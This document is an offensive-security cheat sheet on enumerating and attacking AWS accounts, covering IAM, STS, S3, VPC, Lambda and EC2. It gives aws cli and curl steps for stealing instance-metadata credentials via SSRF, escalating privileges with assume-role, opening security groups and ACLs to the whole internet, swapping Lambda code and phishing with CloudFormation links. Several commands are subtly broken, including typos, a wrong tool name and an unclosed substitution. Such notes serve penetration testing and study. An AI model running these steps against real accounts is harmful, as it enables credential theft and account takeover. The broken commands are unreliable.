# AWS Enumeration

## Regions

[A list of services by
region](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/)
is maintained by AWS
There are global and regional services.

Watch out for the global and regional __Security Token Service__ (STS) which
provides temporary access to third party identities, since regional STS are
also valid in other regions. Global STS are only valid in default regions.

In aws cli,
[Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-segions)
got
the cli argument `--region`

## Identity Access Management (IAM)

Permissions are granted directly through IAM identities (IAM Principals) inside
an AWS account or indirectly through
groups and roles the principal (user or service) has joined.

```sh
aws iam list-users
```

<img src="./include/iam-intro-users-and-groups.diagram.png" alt="Policy evaluation" width="auto" height="auto">

Users can be put into groups instead of direct role assignment, to specify
permissions for a collection of users.

```sh
aws iam list-groups
```

Roles can be assumed by other trusted users through policies. Assumed roles are
needed, so that aws support has access to some resources or external identity
Provider (idP) is connected to AWS SSO as a part of federated access. E.g. the
Role for support is `AWSServiceRoleForSupport`.

```sh
aws iam list-roles
```

Gaining access to important roles like maintenance opens the door to higher permissions.

Services use resources bound to the IAM inside the account. The scheme for
services is `<servicename>amazonaws.com`. Services, as trusted enitites, assume
roles to gain permissions.

A `*` represents every principal. Set the `*` to make an instance of a service
public through the Internet.

Identify an unknown accountname by using an access key

```sh
aws sts get-access-key-info --access-key <AKIAkey>
```

The IAM is not necessarily used by S3. AK/SK is sufficient for authentication
and authorization.

* AWS got [unique ID prefixes](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-prefixes)
* An AWS unqiue Account ID has a length of 12 digits.
* Longterm Access key ID, starts with `AKIA` + 20 chars
* Secret access key (SK)
* Shortterm Session token, `ASIA` + sessionToken
* AWS Organizations control accounts who joined
* Third party identity providers are supported
* IAM identity center of an organization allows provision of accounts from third parties through the AWS SSO

### Root Accounts

Every AWS account has a single root account bound to an email address, which is
also the username. This account has got the all privileges over the account. A
root account has MFA disabled by default.
It has all permissions except Organizational Service Control Policies.

The account is susceptible to an attack if the mail address is accessible but
MFA is not activated.
The email address of the root account, which is called `MasterAccountEmail` can
be found as member of an AWS Organization

```sh
aws organizations describe-organization
```

If the MFA is not set, it is an opportunity for a password reset attack when
the account the vulnerable root belongs to is part of an AWS Organization.

If the email address is also linked to an Amazon retail account and it is
shared between people, everyone has full root access.

### Principal, Resource & Service Policies

Policies are an authorization measurement. After authentication of a user (or
principal) policies of the account are checked if the request is allowed.
A policy may also be attached to a resource or (in an organization) a service.
Policy evaluation can be found in
the [AWS
docs](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html).
There are resource and identity based policies.

```sh
aws iam get-policy --policy-arn <ARN>
```

 Policy details consists of the following [example](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements.html)

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListAllMyBuckets",
      "Resource": "*"
    }
  ]
}
```

Policy enforcement is done via the `Effect` keys and either has `allow` or
`deny` keys set in the JSON object. Deny is default.

The `Action` keyword contains a Service and an API keyword on on that service
in the scheme `<servicename>:<APIKeyword>`, e.g.
`"Action":["ec2:Get*","ec2:Describe*", "s3:*"]`. See the [Service Authorization
Docs](https://docs.aws.amazon.com/service-authorization/latest/reference/)

The Resource key contains the ARN of the resource the policy is set for.

The `Principal` key is only set for resource policies and contains the
principal  who is able to act on the resource. For example a `*` value allows
public access.

[Operators](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition_operators.html)
can be used to set conditions [using key value pairs inside
policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html)

```json
"Condition": {
  "IPAddressIfExists": {"aws:SourceIp": ["xxx"] },
  "StringEqualsIfExists": {"aws:sourceVpc": ["yyy"]}
  }
```

Principals, resources and actions can also be excluded specifically through
`NotPrincipal`, `NotResource` and `NotAction`.

The following graph is taken from the documentation, it shows the evaluation
logic inside an account

<img src="./include/PolicyEvaluationHorizontal111621.png" alt="Policy evaluation" width="80%" height="auto">

A principal can have multiple policies attached.

Policies like `assume-role` and `switch-role` can lead to the gain of roles
with higher permissions

A `*` inside a "Principal" value represents every principal. Set the `*` to
make an instance of a service public through the Internet like this following rule.

```json
"Principal": {
  "AWS": "*"
}
```

Administrator access policies can be queried to see who has elevated permissions.

```sh
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1
```

The `AdministratorAccess` policy looks like this

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
      }
  ]
}
```

### AWS Organizations

An organization is a tree structure, made out of a single root account and
Organizational Units (UOs). UOs can have children UOs. AN UO may contain
multiple AWS accounts. An AWS account can contain multiple user accounts.

An organization has IAM and SSO that also works with external identity
Providers (idP). This is done through the AWS IAM Identity Center which is used
to confiure roles and permissions.

Further, there is a management account inside any organization. It owns the
role "OrganizationAccountAccessRole". This account uses the policies/roles
mentioned in the [User Policies](#User-Policies) which are  `assume-role` and
`switch-role` on the cli tool and the management web-console to gain
administrative permissions over the UOs inside the organization.

By default the Service Control Policy (SCP) `p-full-access` it attached to
every account inside the organization. This SCP allows subscription to all AWS
services. An account can have 5 SCPs at max. Limiting SCPs do not apply to the
management account itself.

### User Provisioning and Login

When using the cli command, the aws configuration and credentials are stored at `~/.aws`
[The
documentation](https://docs.aws.amazon.com/cli/latest/userguide/cli-authentication-user.html)
show how to setup the user login.

Add the credentials to the default plugin via

```sh
aws configure
```

Add credentials to a profile which is not default via

```sh
aws configure --profile PROFILENAME
```

Set a session token for the profile

```sh
aws configure --profile PROFILENAME set aws_session_token <sessionToken>
```

Sanity test a profile through checking its existance via

```sh
aws iam list-users
aws s3 ls --profile PROFILENAME
```

Find account ID to an access key

```sh
aws sts get-access-key-info --access-key-id AKIAEXAMPLE
```

List the (current) user details

```sh
aws sts get-caller-identity
aws sts --profile <username> get-caller-identity
```

Find username to an access key

```sh
aws sts get-caller-identity --profile PROFILENAME
```

List EC2 instances of an account

```sh
aws ec2 describe-instances --output text --profile PROFILENAME
```

In another region

```sh
aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME
```

Create a user via cloudshell.

```sh
aws iam create-user --user-name <username>
```

Add a user to a group via cloudshell.

```sh
aws iam add-user-to-group --user-name <username> --group-name <groupname>
```

List groups for a user using aws cli. GroupIds begin with `AGPA`.

```sh
aws iam list-groups-for-user --user-name padawan
```

### Credentials

User credentials are called profiles on the webUI and console
Password is used by the aws cli tool and queried APIs.

Create a user password via aws cli

```sh
aws iam create-login-profile --user <username> --password <password>
```

Change the password using the aws cli

```sh
aws iam update-login-profile --user <username> --password <password>
```

Take a look at the password policy via aws cli

```sh
aws iam get-account-password-policy
```

### API Access Keys

Longterm, non-expiring Access key ID start with `AKIA` + 20 chars

List the access keys via aws cli.

```sh
aws iam list-access-keys
```

Create an access key via the aws cli.

```sh
aws iam create-access-key --user-name <username>
```

Disable, enable or delete an access key via the aws cli

```sh
aws iam update-access-key --access-key-id <AKIAkey>
aws iam update-access-key --access-key-id <AKIAkey>
aws iam delete-access-key --access-key-id <AKIAkey>
```

### Shortterm Session Keys (STS)

Session keys are short term, they expire. A session key start
with `ASIA`.

These are generated by the Security Token Service.

Use aws cli to create a session token through STS.

```sh
aws sts get-session-token
```

If you want to set a profile for a principal that has only an session token use this aws cli commands.

```sh
aws configure --profile PROFILENAME
aws configure --profile PROFILENAME set aws_session_token <sessionToken>
```

Token can be applied to a user as a second factor. If the user is provided by another
federated entity through idP the MFA needs to be provided
through this solution.

List users with MFA enabled via aws cli.

```sh
aws iam list-virtual-mfa-devices
```

You can get the username of an account through the STS service using the access-key

```sh
aws sts get-access-key-info --access-key-id <AKIA-key>
```

The session token can be found via the cloudshell through the use of curl.

```sh
curl -H "X-aws-ec2-metadata-token: $AWS_CONTAINER_AUTHORIZATION_TOKEN" $AWS_CONTAINER_CREDENTIALS_FULL_URI
```

#### Assume Roles through STS

A an attack vector, a user can assume a role of higher privileges through the STS. This might happen through a policy bound to a group the user is a member of. 

You need an ARN of the role you want to assume

```sh
arn:aws:iam::<ACCOUNT_ID>:role/<rolename>
```

A role session name from the CloudTrail logs is needed, somone who has got the role we want to assume.

Use aws cli to assume the role.

```sh
aws --profile <lowprivuser> sts assume-role --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<rolename> --role-session-name <highprivuserthathastherole>
```

This result of this is to get the `AccessKeyId`, `SecretAccessKey` and `SessionToken` of the user to complete the three needed variables for aquiring the high privilege.

```sh
export AWS_SECRET_ACCESS_KEY=<HighPrivUserSK>
export AWS_ACCESS_KEY_ID=<HighPrivUserAK>
export AWS_SESSION_TOKEN=<SessionToken>
```

Check the current identity after setting the variables via aws cli.

```sh
aws sts get-caller-identity
```

### Secrets

Use the secrets manager via

```sh
aws secretsmanager help
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <Name> --region <region>
```

### Amazon Resource Name (ARN)

The [ARN](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html)
is a unique ID which identifies resources.

A Unique ID is create through the following scheme

```sh
arn:aws:<service>:<region>:<account_id>:<resource_type>/<resource_name>
```

### IAM - Gain Access through Vulnerabilities

#### Gathering Credentials

Git repositories, especially on GitLab and Github but also other repositories,
can be a source of found credentials. A tool to find sensitive data inside git
repository is [Trufflesecurity's
Trufflehog](https://github.com/trufflesecurity/trufflehog).

Other repositories, like package repository for programming, are also prone to
contain credentials unintentionally.

Credentials can be found in environment variables like `AWS_SESSION_TOKEN`,
`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY`, shared credential files inside
home directories like `~/.aws/credentials`, assumed roles cached in
`~/.aws/cli/cached`, aws cli configuration file `~/.aws/configuration`, Boto2
and Boto3 or via the [IMDS](#Metadata-Service) on EC2 instances.

You can get the account name through the STS service using the access-key

```sh
aws sts get-access-key-info --access-key-id <AKIA-key>
```

Identify AccountId, IAM Roles and users as valid principals in an account by
creating a resourced based policy. Create the resource which is in need of a
resource based policy and update it for the principal you want to enumerate.
There are two outcomes

* The principal exists, the policy will be updated/created
* The principal does not exist and there is an error message returned

Use [Righteousgambit's Quiet
Riot](https://github.com/righteousgambit/quiet-riot) to enumerate AWS, Azure
,GCP principals. A userlist is needed for enumeration of an AccountId.
ACL can contain email addresses of root users. These addresses can be found by
quiet riot as well. AWS Service Footprinting and roles can be done by quiet
riot, too.

These different scans are parameters for the `--scan` argument. AWs scans
contain the following numbers.

```sh
1. AWS Account IDs
2. AWS Services Footprinting
4. AWS Root User E-mail Address
5. AWS IAM Principals
  4.1. IAM Roles
  4.2. IAM Users
```

#### Gain Access through CloudFormation

It is possible to phish credentials through url manipulation and sending it to
someone with higher privileges.

This may be achieved through link manipulation. A link for a CloudFormation
Stackset creation looks like this.

```http
https://console.aws.amazon.com/cloudformation/home?region=<region>#/stacks/new?stackName=<maliciousStackName>&templateURL=https://s3.amazonaws.com/<bucketname>/<templatename>.template
```

CloudFormation Stacks can be listed through aws cli.

```sh
aws cloudformation describe-stacks | jq .
```

#### Gaining Access through Metadata Service

Metdata Service (IMDS) returns information about the EC2 instance and IAM it uses.
Take a look at chapter [Metadata Service](#Metadata-Service) to get in to the details.

To gain access from the web, you need something like an LFI or a SSRF to
request the IMDS through the EC2 instance, indirectly. Goal is to gain access
to the environment variables and as a result to `AWS_SESSION_TOKEN`,
`AWS_SECRET_ACCESS_KEY` and `AWS_ACCESS_KEY_ID`.

Query the the role name first. Use them to query the instance profile role afterwards.

```http
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<FoundRoleName>
```

Export the variables and check if you got the instance profile permissions
correctly via aws cli.

```sh
aws sts get-caller-identity
```

#### Credentials Gain through CI/CD

Credentials can be found directly inside files of a bucket or through the use
of the bucket by other services, which store credentials inside the bucket as a
result of some executed scripts.

## Services

An [action on an
API](https://docs.aws.amazon.com/service-authorization-/latest/reference/reference_policies_actions-resources-contextkeys.html)
of a service is structured like `<servicename>:<APICall>`.

Session tokens can also be created for services for temporary access of
resources. This can be done through metadata service on an EC2 instance. The
session token and AK/SK are also visible in the environment variables of AWS
Lambda.

The session token can be found via the cloudshell through the use of curl.

```sh
curl -H "X-aws-ec2-metadata-token: $AWS_CONTAINER_AUTHORIZATION_TOKEN" $AWS_CONTAINER_CREDENTIALS_FULL_URI
```

### Virtual Private Cloud (VPC)

Is a logic network segementation method using its own IP address range. It is a
software defined network.

A VPC ID starts with `vpc-` and had a length of 8 characters, since 2018 it has
a length of 17 characters.

A VPC is part of the EC2 namespace `ec2:CreateVPC`

VPC is a regional service. VPCs can have multiple subnets bound to a single AZ,
they use host infrastructure components like DHCP, NTP and DNS provided by AWS.

NTP can be found under 169.254.169.123. The DNS resolver `Route 53` can be
found under 169.254.169.253. Microsoft's KMS service can be at 169.254.169.250
and 169.254.169.251.

VPCs have ARP only for compatibility but do not need them. Therefore, ARP
poisoning is not an option.

Resources inside a VPC have an Elastic Network Interface, a public IP is bound
to such a network interface. ENIs nside a VPC are secured by ACL and Security
Groups. Other services are secured by IAM.

List available network interfaces with a specific IP address via aws cli.

```sh
aws ec2 describe-network-interfaces | \
jq '.Networkinterfaces[] | select(.PrivateIpAddress == "10.100.47.11")'
```

#### VPC & Subnet Routing

A VPC Contains EC2 VMs and has an Internet gateway (router) if needed.
There are private gateways VPN Gateway (VGW) and Internet Gateways
The gateway can be either just ingress, egress, or both.
To connect to a VPC, it does not need to be exposed to the Internet. It is
accessible through various connection services like Direct Connect or
PrivateLink.

A subnet is connected to a NAT gateway, which then connects to a VGW or
Internet Gateway. If no explicit routing table is selected for a subnet, it
will inherit the main routing table. The routing table sets the availability of
the subnet in regards to the Internet Gateway. Routing of the Internet Gateway
is a separate rule.

Routes can be set on groupis of CIDR blocks, which are named [Managed Prefix
Lists](https://docs.aws.amazon.com/vpc/latest/userguide/managed-prefix-lists.html).
A prefix list controls access to public IP addresses as well.

Describe the prefix lists via aws cli.

```sh
aws ec2 describe-prefix-lists
```

#### Network Access Control Lists (NACLs)

NACLs are logical, stateless firewalls for entire subnets. Inbound & Outbound
traffic have to be authorized by `Allow` and `Deny`. Rules are processed
procedural, a `Deny` does not override an `Allow`. Default NACL is `Deny All`.

![EffectivePermissionsShort](./include/EffectivePermissionsShort.png)

#### Security Groups

Security Groups are stateful and get attached to resources like EC2 or Database
services through selecting IP address(ranges) or other Security Groups, protocol
and port(ranges). Security Groups works with `Allow` only and separates Ingress
& Egress.

#### VPC Endpoints

VPC Endpoints connect a VPC with an outside service. The route is set through a
table of CIDRs or Managed Prefix Lists.

An attacker may add VPC endpoints to exfiltrate data to S3 buckets under his control.

List available vpcs, and endpoints via aws cli.

```sh
aws ec2 describe-vpcs
aws ec2 describe-vpc-endpoints
```

After listing the endpoints take a look at the routing tables via aws cli.

```sh
aws ec2 describe-route-tables --route-table-ids <routeTableId>
```

#### Private Link

Private Link is a network interface (ENI) which can be used from the outside
without a direct connection to the Internet.

#### VPC & DNS

Besides Route53, which is available through 169.254.169.253, there is a DNS
server in every VPC. It is located at the gateway IP address + 1.

#### VPC & Monitoring

VPC Flogs log the headers of the packets inside the network traffic. These logs
can be send to CloudWatch or a simple S3 bucket.

VPC Traffic Mirroring is used for Deep Packet Inspection (DPI) through
mirroring the traffic along a L3 route.

DNS logs are sent to the Cloud Watch Logging in the group named "VPCResolverLogs"

Amazon Guard Duty is used for threat detection and uses Flow & DNS logs.

### VPC Connections

Connect the VPC to on-prem via Direct Connect through a dedicated link. Needs a
routing table.

Site to Site VPN leverages an IPSec connection through a configured customer
gateway instead of a dedicated link, which is cheaper. The customer gateway is
linked to the VGW. Needs a routing table.

VPC Peering connects VPCs of different accounts and regions. Useful for
disaster recovery. Needs an entry in each routing table. A network connection
is always a stub, no connection to third networks through a hop over another
one.

Transit Gateway allows multiple hops between VPCs through other VPCs.

Client VPN is a simple VPN connection to the VPCs of an AWS account in use
leveraging MFA authentication.

#### Bind Public IP Address to Access a VPC

A public Ip address is needed to have ingress on an EC2 VM.

Allocate a public Ip address via aws cli

```sh
aws ec2 allocate-address
```

Find details about the ENI of the  EC2 instance you want to bind the Ip address
to via aws cli.

```sh
aws ec2 describe-instances | jq '.Reservations[].Instances[].NetworkInterfaces[]'
```
Use found AllocationId and NetworkInterfaceId from the steps before. Attach the
Ip address to the ENI via aws cli.

```sh
aws ec2 associate-address --allocation-id <AllocationId> --network-interface-id <NetworkInterfaceId>
```

##### Make the Ip address accessible from the Internet through an Internet Gateway

Get the InternetGatewayId first via aws cli

```sh
internet_gateway_id=$(aws ec describe-internet-gateways | jq '.InternetGateways[].InternetGatewayId' -r)
```

Query the RouteTableId of a specific Tag (of an EC2) via aws cli.

```sh
route_table_id=$(aws ec2 desribe-route-tables | jq .'RouteTables[] | select(.Tags[] | select(.Key == "Name" and .Value == "MyGivenTag")) | .RouteTableId' -r)
```

Add the route through the InternetGateway via aws cli.

```sh
aws ec2 create-route --route-table-id $route_table_id --destination-cidr-block 0.0.0.0/0 --gateway-id  $internet_gateway_id
```

##### Modify the Security Group for Ingress from the Internet via aws cli

Pick a desired Security Group via aws cli.

```sh
aws ec2 describe-security-groups | jq .
```

Create a rule for the security group to allow every connection via aws cli.

```sh
aws ec2 authorize-security-group-ingress --protocoll all --port 0-65535 --cidr 0.0.0.0/0 --group-id <GroupId>
```

##### Modify ACL for Access

List available ACLs and find the desired `NetworkAclId` through aws cli.

```sh
aws ec2 describe-network-acls | jq .
```

Use this `NetworkAclId` to create an ingress rule on position 1 through any
protocol on any address via aws cli.

```sh
aws ec2 create-network-acl-entry --cidr-block 0.0.0.0/0 --ingress --protocol -1 --rule-action allow --rule-number 1 --network-acl-id <NetworkAclId>
```

Create an egress rule as well via aws cli.

```sh
aws ec2 create-network-acl-entry --cidr-block 0.0.0.0/0 --egress --protocol -1 --rule-action allow --rule-number 1 --network-acl-id <NetworkAclId>
```

Now the VPC and EC2 is accessible through the internet.

### Metadata Service

#### Metdata Service on EC2

The instance (Openstack) Metadata service can be found under 169.254.169.254.
It can be used
to gain information about the EC2 via a GET request to
`http://169.254.169.254/latest/meta-data`.

The instance metadata service has been used for information disclosure of
security credentials before.
[Alexander
Hose](https://alexanderhose.com/how-to-hack-aws-instances-with-the-metadata-service-enabled/)
describes how to use the credentials through aws-cli.

```sh
[ec2-user ~] curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
ec2S3FullAccess
[ec2-user ~] curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2S3FullAccess
{
    "Code": "Success",
    "LastUpdated": "2022-10-01T15:19:43Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIAMFKOAUSJ7EXAMPLE",
    "SecretAccessKey": "UeEevJGByhEXAMPLEKEY",
    "Token": "TQijaZw==",
    "Expiration": "2022-10-01T21:44:45Z"
}
```

Use the credentials to configure aws-cli.

```sh
$ aws configure
AWS Access Key ID [None]: ASIAMFKOAUSJ7EXAMPLE
AWS Secret Access Key [None]: UeEevJGByhEXAMPLEKEYEXAMPLEKEY
Default region name [None]: us-east-2
Default output format [None]: json
```

Add the credentials to the AWS credentials file

```sh
[default]
aws_access_key_id = ASIAMFKOAUSJ7EXAMPLE
aws_secret_access_key = UeEevJGByhEXAMPLEKEYEXAMPLEKEY
aws_session_token = TQijaZw==
```

#### Metadata Service on ECS

This task metadata service can be found at 169.254.170.2 and is used for the
[Elastic Container Service (ECS)](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html)

Elastic Container Service is using the version 2 of IMDS. The URL for the
metadata service is the following.

```http
http://169.254.170.2/v2/metadata
```

From inside a container curl can be used to get the credentials

```sh
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
```

### Simple Storage Service (S3)

[S3](https://aws.amazon.com/s3/) is an object storage without volume limits.

A nested directory structure in a bucket is possible,
but pseudo file system for organizing files.

The names of buckets are unique and the namespace of
buckets is global but they are stored regionally.

Versioning of files is possible. Files will not be
overwritten by updated versions. Files are enrypted by
default.

 Methods of access control are as follows
1. [Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html)
2. [S3 ACL](https://docs.aws.amazon.com/AmazonS3/latest/userguide/managing-acls.html)

Every bucket that was created before November 2018 has a default public access
permissions. Since November 2018 public access is blocked by default.

A typical attack includes modifying files on a bucket another service is using.

#### S3 Policies

Useful permissions to an attack, set through a policy, are `s3:GetObject` and `s3:PutObject`.

There are identity based and resource based policies for s3 buckets.
If global access or read is set, a resource based
policy access to the objects is available in general of everyone, unauthenticated.

```json
{
  [...]
  "Effect": "Allow",
  "Principal": "*",
  "Action": [
    "s3:GetObject",
    "s3:PutObject"
    ],
  [...]
}
```

Check which policies are set

```sh
aws s3api get-bucket-policy-status --bucket <bucketname>
aws s3api get-bucket-ownership-controls --bucket <bucketname>
```

#### ACL

Existed since before AWS IAM. The ACL is generated for
every bucket created. Resource owner gets full
permissions. ACL can be extended through principals'
[canonical
userID](https://docs.aws.amazon.com/AmazonS3/latest/userguide/finding-canonical-user-id.html)
and services which are allowed or forbidden to access
the bucket.

__Attack vector__: The group `Any Authenticated AWS
User` can be set as permissions for a group of every
authenticated AWS user.

If the ACL is set to

* `Anyone`, just `curl`
* `AuthenticatedUsers`, `s3` cli with aws key

#### Scheme

The aws cli scheme for s3 is the following.

```sh
http://<bucketname>.s3.amazonaws.com/file.name
```

or

```sh
http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext
```

#### Check Read Permissions of a bucket

Use the aws cli to store data from a bucket locally.

```sh
aws s3 sync --no-sign-request s3://<bucket-name> .
```

#### Check Permissions of a bucket

Check the Policy of the bucket via aws cli.

```sh
aws s3api get-bucket-policy --bucket <bucketname> --query Policy --output text | jq .
```

Or ghetto style, use a `PUT` method to see if the bucket may be writeable to
upload a file via

```sh
curl -vvv -X PUT $BUCKET_URL  --data "Test of write permissions"
```

#### List content of public bucket via

```sh
aws s3 ls s3://<bucketname>/ --no-sign-request
```

Download via `curl`, `wget` or `s3` cli via

```sh
aws s3 cp s3://<bucketname>/foo_public.xml . --no-sign-request
```

### Lambda

Lambda is a serverless, event-driven compute service offered by AWS. Means, you
don't need a backend to a function you want to provider. Queries to the
function containing events are send via an API. Invocation of the Lambda
functions can be synchronous or asynchronous, but not in parallel. The event
and its context are sent through a lambda handler.
A Lambda function has its own container deployed. An instance is initiated as a
cold start at first run.

![Lambda Service API](./include/telemetry-api-concept-diagram.png

The ARN of a the function invoked is structured in the following way.

```
arn:aws:lambda:<region>:<AccountId>:function:<functionName>
```

List Lambda functions via aws cli.

```sh
aws lambda list-functions |  jq .
```

Execute a lambda function via aws cli.

```sh
aws lambda invoke \
--function-name arn:aws:lambda:<region>:<account_id>:function:<function_name> <arg1>
```

List policies via aws cli.

```sh
aws lambda get-policy \
--function-name arn:aws:lambda:<region>:<account_id>:function:<function_name> \
--query Policy \
--output text \
| jq .
```

Query a function's details via aws cli, a KMS key is needed.

```sh
aws lambda get-function --function-name arn:aws:lambda:<region>:<AccountId>:function:<functionName>
```

#### Lambda Buildup

The executed code is frequently stored in a zip file inside an S3 bucket. A
file name is set so the handler can execute it, e.g. `function.py`.
The zip file is queried through the API before a functions execution is
triggered. The zip file contains a file name which is called by the handler.

Events can be tested through the web console.

A Lambda function can for 15 minutes at max. Memory for the function execution
can be allocated from 128 MB to 10GB. The CPU cores are scaled with the set
memory size.

A lambda function has a default runtime specified for the programming language
in use. Custom runtimes can be created as well. The runtime has environment
variables set. These variables are encrypted through a KMS key at rest and can
be queried via `lambda:GetFunction`.

Permissions are set through roles, so a Lambda functions is able to act on
other resources. There are policies on who can invoke the Lambda function via
`lambda:InvokeFunction` as well. Functions can have public permissions, open to everyone.

Logging output is `stdout` and `stderr` to CloudWatch as  `aws/lambda/<functionName>`.

Lambda functions can have public and private Ip addresses on a Hyperplane
Extended Network Interface. These ENIs have security grouips attached like
usual.

Lambda functions have 500MB of disk space inside the container's /tmp directory
or can have an Elastic File System attached (EFS).

Lambda has layers for code sharing. These layers can be found under `/opt`.

Lambda functions can be queried through HTTP. The scheme of such a uniquely
identified URL is like the following. The request has to be signed if
authentication is required.

```sh
https://<urlId>.lambda-url.<region>.on.aws
```

#### Lambda Vulnerabilities

Vulnerabilities include

* Missing input validation and sanitizaiton on the event sent as user input to the Lambda function
* Sensitive data written to stdout and stderr, which is then sent to CloudWatch
* Lambda in a VPC
* Permissive roles for function execution

Examples of exciting permissions are ReadAccess in general or the following roles.

```
AmazonS3FullAccess
AWSLambda_FullAccess
```

* Privilege escalation through access to environment variables `$AWS_ACCESS_KEY_ID`, `$AWS_SECRET_ACCESS_KEY` and `$AWS_SESSION_TOKEN` inside the Lambda container from function execution or from the webc console

Use the found environment variables to get find the AccountId via aws cli.

```sh
export AWS_SESSION_TOKEN=<Found-AWS_SESSION_TOKEN>
export AWS_SECRET_ACCESS_KEY=<Found-AWS_SECRET_ACCESS_KEY>
export AWS_ACCESS_KEY_ID=<Found-AWS_ACCESS_KEY_ID>

aws sts get-caller-identity
```

* Access to the unencrypted secrets inside environment variables through function execution inside the container
* Use of `lambda:*` instead of `lambda:invokeFunction` as part of a resource policy
* Use of `Principal: *` inside an IAM policy

List functions and check invocation policies of lambda functions via aws cli.

```sh
aws lambda get-function --function-name arn:aws:lambda:<region>:<AccountId>:function:<functionName>
aws lambda get-policy --query Policy --output text --function-name arn:aws:lambda:<region>:<AccountId>:function:<functionName> | jq .
```

Check policies of the found functions of the Lambda functions via aws cli.

```sh
func="<function1> <function2> <function3>"

for fn in $func; do
  role=$(aws lambda get-function --function-name <functionName> --query Configuration.Role --output text | aws -F\/ '{print $NF}'
  echo "$fn has $role with following policies"
  aws iam list-attached-role-policies --role-name $role
  for policy in $(aws iam list-role-policies --role-name $role --query PolicyNames --output text); do
    echo "$role for $fn has policy $policy"
    aws iam get-role-policy --role-name $role --policy-name $policy
  done
done
```

* Modifying Lambda layers through malicious code
* Use the concurrency of Lambda functions as a DoS measurement

##### Invoke Modified Functions

Get the function ZIP file through the URL or the following aws cli line to inspect the code for sensitive data

```sh
func="<function1> <function2> <function3>"

for fn in $func; do
  url=$(aws lambda get-functions --function-name $fn --query Code.Location --output text)
  curl -s -o $fn.zip $url
  mkdir -p $fn
  unzip $fn.zip -d $fn
done
```

Invoke a function with a predefined event, after getting intel from the zip, stored in `event.json` via aws cli.

```sh
aws lambda invoke --function-name <functionName> --payload fileb://event.json out.json
```

Update a function through modified source code in a ZIP file via aws cli.

```sh
aws lambda update-function-code --region <region> --function-name <functionName> --zip-file fileb://modified.zip
```

Create a payload `next_event.json` and invoke the function via aws cli.

```sh
aws lambda invoke --function-name <functionName> --payload fileb://next_event.json out.json
```

### CloudFront

CloudFront is a Content Delivery Network(CDN), which stores static data on Edge
Locations, closer to the customer for performance improvements.

Geo-fences can be placed to access the content. Can also use authorization
based requests,encryption of data is possible.

A Web Application Firewall (WAF) as well as Distributed Denial of Service
(DDoS) prevention can be configured for CloudFront instances.

#### CloudFront Hosts

An "origin" of a CloudFront instance can be resources like EC2, ELBs or S3 buckets.
Origin Access Identities (OAIs), which are resourced based policies for the
resources or "origins" of a CloudFront instance, need to be set the owner.
For an attack to take place, information about the DNS records of a domain is
needed, to find probable CloudFront resources.

Use dig or drill or nslookup to list IP addresses of a (sub-)domain where
assets are hosted, potentially. Do A reverse lookup to get the aws domains of
the resources behind the IP addresses.

```sh
drill assets.example.com
drill <$IP_ADDRESS> -x
```

How to find a potentially interesting CloudFront assets domain

* Enumerate subdomains of a website
* Do some dorking with a search engine to list the content of a bucket behind an S3 subdomian
* Spider a website via wget or [Linkfinder](https://github.com/GerbenJavado/LinkFinder)
* Search for certificate details

### EC2

Deploy service instances of Virtual machines inside a VPC.
Deployment EC2 instances into 26 regions. Supports multiple OSs.
On-demand billing.

EC2 can use elastic IP addresses to provide Ingress.
A Gateway Load Balancer can be used to do traffic inspection.

#### Enumerate EC2 Instances

List EC2 instances in the account via aws cli.

```sh
aws ec2 describe-instances --query 'Reservations[*].Instances[*].Tags[?Key==`Name`].Value,InstanceId,State.Name,InstanceType,PublicIpAddress,PrivateIpAddress]' --profile PROFILENAME --output json
```
List all InstanceIds in the account via aws cli.

```sh
list=$(aws ec2 describe-instances --region <region_name> --query Reservations[].Instances.InstanceId --output json --profile PROFILENAME | jq .[] -r)
```

Get user data like cloud-init scripts from the instances via aws cli.

```sh
for i in $list;do
  aws ec2 describe-instance-attribute --profile PROFILENAME --instance-id $i --attribute userData --output text --query UserData --region <region_name> | base64 -d | > $i-userdata.txt
done
```

#### Connect to an EC2 Instance

Connect to the instance using SSH, RDP, SSM, serial console or webconsole.
A keypair is needed to be owned to connect, for eaxmple EC2 Connect uses
temporary keys. Serial Console has be activated by the adminstrator and
the user which will be used to login needs a password set.

The URL scheme for EC2 Connect through the webconsole is the following.

```sh
https://console.aws.amazon.com/ec2/v2/connect/$USERNAME/$INSTANCE_ID
```

| Method | Network Access needed | Requires Agent | Requires IAM Permissions |
|--------|-----------------------|----------------|--------------------------|
| SSH/RDP | YES | NO | NO |
| Instance Connect | YES | YES (amazon linux 2) | NO |
| SSM Run Command | No | YES | YES |
| SSM Session Manager | NO | YES | YES |
| Serial Console | No | Password needed | NO |

Instance Connect and the SSM Session Manager can be used to reset the root
password via `sudo passwd root`. After that it is possible to connect to the
root user, e.g. using serial console or just use `sudo su root` or `su root` directly.

##### Connect to an EC2 Instance Using a Reverse Shell

